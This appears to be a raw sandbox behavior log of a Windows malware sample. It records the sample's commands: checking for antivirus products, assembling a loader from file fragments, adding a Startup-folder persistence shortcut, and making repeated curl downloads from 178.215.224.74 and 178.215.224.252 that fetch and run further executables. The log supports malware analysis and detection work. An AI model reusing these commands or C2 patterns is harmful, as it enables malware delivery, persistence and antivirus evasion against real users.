Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3440:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5276:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2764:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6616:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4280:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1560:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1652:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6532:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3160:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4024:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6816:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7120:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:736:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\nskE4F6.tmp

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Feeling Feeling.cmd && Feeling.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 768032
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Howard + ..\Los + ..\Become + ..\Mental + ..\Vermont + ..\Bt + ..\Vatican G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\768032\Finish.com Finish.com G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url" & echo URL="C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr "C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr" "C:\Users\user\AppData\Local\InnoSphere Dynamics\l"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName > C:\Users\user\AppData\Local\temp\407 2>&1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C type C:\Users\user\AppData\Local\temp\407 > C:\Users\user\AppData\Local\temp\403
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\sihmk" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\sihmk" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\ekcal" "178.215.224.74/v10/ukyh.php?jspo=5"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\ekcal" "178.215.224.74/v10/ukyh.php?jspo=5"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\vuevs" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\vuevs" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fsqyf" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fsqyf" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dmgfe" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\dmgfe" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\woejq" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\woejq" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\xvway" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\xvway" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\tlbry" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\tlbry" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C cd "C:\Users\user\AppData\Roaming\DolphinDumps" & azvw.exe -o xhwq.zip
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe azvw.exe -o xhwq.zip
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\sirxu" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\sirxu" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gtnez" "178.215.224.74/v10/ukyh.php?jspo=31"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\gtnez" "178.215.224.74/v10/ukyh.php?jspo=31"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C systeminfo \| findstr /C:"OS Name" > C:\Users\user\AppData\Roaming\DolphinDumps\jvx 2>&1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /C:"OS Name"
Source: C:\Windows\SysWOW64\systeminfo.exe	Process created: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gfdap" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\gfdap" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\gjmcf" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\gjmcf" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\lkufr" "178.215.224.74/v10/ukyh.php?jspo=7"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\lkufr" "178.215.224.74/v10/ukyh.php?jspo=7"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\slpug" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\slpug" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\ixhzf" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\ixhzf" "178.215.224.74/v10/ukyh.php?jspo=10&melq=1"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\qhiwq" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\qhiwq" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\ypalg" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\cbmaa" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\cbmaa" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldmljZXMuZXhl"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe "C:\Users\user\AppData\Local\temp\RevenueDevices.exe"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\hzpaz" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\hzpaz" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Seek Seek.cmd & Seek.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fxhyo" "178.215.224.74/v10/ukyh.php?gi"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\fxhyo" "178.215.224.74/v10/ukyh.php?gi"
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\jocox" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -o "C:\Users\user\AppData\Local\temp\jocox" "178.215.224.74/v10/ukyh.php?jspo=6"
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\curl.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\curl.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\curl.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\systeminfo.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\curl.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\curl.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\curl.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\systeminfo.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Feeling Feeling.cmd && Feeling.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 768032	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Howard + ..\Los + ..\Become + ..\Mental + ..\Vermont + ..\Bt + ..\Vatican G	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\768032\Finish.com Finish.com G	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url" & echo URL="C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoSphere.url" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName > C:\Users\user\AppData\Local\temp\407 2>&1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C type C:\Users\user\AppData\Local\temp\407 > C:\Users\user\AppData\Local\temp\403	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\tewjy" "178.215.224.252/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\sihmk" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\ekcal" "178.215.224.74/v10/ukyh.php?jspo=5"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\vuevs" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\fsqyf" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\dmgfe" "178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\woejq" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\user\AppData\Local\temp\xvway" "178.215.224.74/v10/ukyh.php?jspo=6"	Jump to behavior
